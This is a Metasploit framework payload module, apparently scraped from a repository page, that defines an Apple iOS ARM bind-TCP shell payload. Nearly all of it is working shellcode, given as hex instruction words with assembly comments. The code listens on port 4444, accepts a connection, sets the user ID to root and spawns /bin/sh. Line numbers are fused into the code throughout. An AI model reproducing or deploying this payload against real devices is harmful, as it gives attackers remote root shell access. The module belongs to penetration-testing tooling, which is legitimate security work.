Path: blob/master/modules/payloads/singles/osx/armle/shell_bind_tcp.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 20078include Msf::Payload::Single9include Msf::Payload::Osx10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Apple iOS Command Shell, Bind TCP Inline',17'Description' => 'Listen for a connection and spawn a command shell',18'Author' => 'hdm',19'License' => MSF_LICENSE,20'Platform' => 'osx',21'Arch' => ARCH_ARMLE,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' => {25'Offsets' =>26{27'LPORT' => [ 30, 'n' ]28},29'Payload' =>30[31# socket320xe3a00002, # mov r0, #0x2330xe3a01001, # mov r1, #0x1340xe3a02006, # mov r2, #0x6350xe3a0c061, # mov r12, #0x61360xef000080, # swi 128370xe1a0a000, # mov r10, r0380xeb000001, # bl _bind3940# port 4444410x5c110200,420x00000000,4344# bind450xe1a0000a, # mov r0, r10460xe1a0100e, # mov r1, lr470xe3a02010, # mov r2, #0x10480xe3a0c068, # mov r12, #0x68490xef000080, # swi 1285051# listen520xe1a0000a, # mov r0, r10530xe3a01001, # mov r1, #0x1540xe3a0c06a, # mov r12, #0x6a550xef000080, # swi 1285657# accept580xe3a0c01e, # mov r12, #0x1e590xe1a0000a, # mov r0, r10600xe3a01010, # mov r1, #0x10610xe50d1018, # str r1, [sp, #-24]620xe24d2010, # sub r2, sp, #0x10630xe24d3018, # sub r3, sp, #0x18640xef000080, # swi 128650xe1a0b000, # mov r11, r06667# setup dup2680xe3a05002, # mov r5, #0x26970# dup2710xe3a0c05a, # mov r12, #0x5a720xe1a0000b, # mov r0, r11730xe1a01005, # mov r1, r5740xef000080, # swi 128750xe2455001, # sub r5, r5, #0x1760xe3550000, # cmp r5, #0x0770xaafffff8, # bge _dup27879# setreuid(0,0)800xe3a00000, # mov r0, #0x0810xe3a01000, # mov r1, #0x0820xe3a0c07e, # mov r12, #0x7e830xef000080, # swi 1288485# execve860xe0455005, # sub r5, r5, r5870xe1a0600d, # mov r6, sp880xe24dd020, # sub sp, sp, #0x20890xe28f0014, # add r0, pc, #0x14900xe4860000, # str r0, [r6], #0910xe5865004, # str r5, [r6, #4]920xe1a01006, # mov r1, r6930xe3a02000, # mov r2, #0x0940xe3a0c03b, # mov r12, #0x3b950xef000080, # swi 1289697# /bin/sh980x6e69622f,990x0068732f100].pack('V*')101}102)103)104end105end106107108